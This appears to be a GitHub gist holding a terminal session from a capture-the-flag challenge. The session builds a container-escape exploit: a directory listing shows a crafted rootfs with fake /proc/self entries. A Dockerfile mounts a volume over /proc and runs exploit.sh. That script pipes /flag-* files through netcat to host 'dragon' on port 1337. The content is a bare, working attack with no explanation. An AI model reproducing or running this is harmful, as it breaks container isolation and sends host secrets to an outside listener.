Skip to content

Instantly share code, notes, and snippets.

@leoluk
Created September 22, 2019 12:22
Show Gist options
  • Save leoluk/8f8b7387d49c1ce75d3a5fa44e2be2fa to your computer and use it in GitHub Desktop.
Save leoluk/8f8b7387d49c1ce75d3a5fa44e2be2fa to your computer and use it in GitHub Desktop.
root@dragon:~/leo2# find . -ls
642686 4 drwxr-xr-x 3 root root 4096 Sep 22 00:21 .
642727 4 drwxr-xr-x 4 root root 4096 Sep 22 00:00 ./rootfs
662833 4 -rwxr-xr-x 1 root root 62 Sep 22 00:00 ./rootfs/exploit.sh
654011 4 drwxr-xr-x 3 root root 4096 Sep 21 23:43 ./rootfs/proc
662371 4 drwxr-xr-x 4 root root 4096 Sep 21 23:44 ./rootfs/proc/self
662372 4 drwxr-xr-x 2 root root 4096 Sep 21 23:43 ./rootfs/proc/self/attr
662375 0 -rw-r--r-- 1 root root 0 Sep 21 23:43 ./rootfs/proc/self/attr/exec
662419 0 -rw-r--r-- 1 root root 0 Sep 21 23:44 ./rootfs/proc/self/status
662416 4 drwxr-xr-x 2 root root 4096 Sep 21 23:48 ./rootfs/proc/self/fd
662546 0 -rw-r--r-- 1 root root 0 Sep 21 23:48 ./rootfs/proc/self/fd/2
662550 0 -rw-r--r-- 1 root root 0 Sep 21 23:48 ./rootfs/proc/self/fd/255
662548 0 -rw-r--r-- 1 root root 0 Sep 21 23:48 ./rootfs/proc/self/fd/4
662545 0 -rw-r--r-- 1 root root 0 Sep 21 23:48 ./rootfs/proc/self/fd/1
662544 0 -rw-r--r-- 1 root root 0 Sep 21 23:48 ./rootfs/proc/self/fd/0
662547 0 -rw-r--r-- 1 root root 0 Sep 21 23:48 ./rootfs/proc/self/fd/3
642758 4 drwxr-xr-x 2 root root 4096 Sep 21 23:39 ./rootfs/dev
642845 0 -rw-r--r-- 1 root root 0 Sep 21 23:39 ./rootfs/dev/ptmx
662832 4 -rw-r--r-- 1 root root 70 Sep 22 00:21 ./Dockerfile
root@dragon:~/leo2#
root@dragon:~/leo2# cat Dockerfile
FROM fedora:30
ADD rootfs /
VOLUME /proc
ENTRYPOINT ["/exploit.sh"]
root@dragon:~/leo2#
root@dragon:~/leo2# cat rootfs/exploit.sh
#!/bin/sh
/bin/cat /flag-* | /bin/nc dragon 1337
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment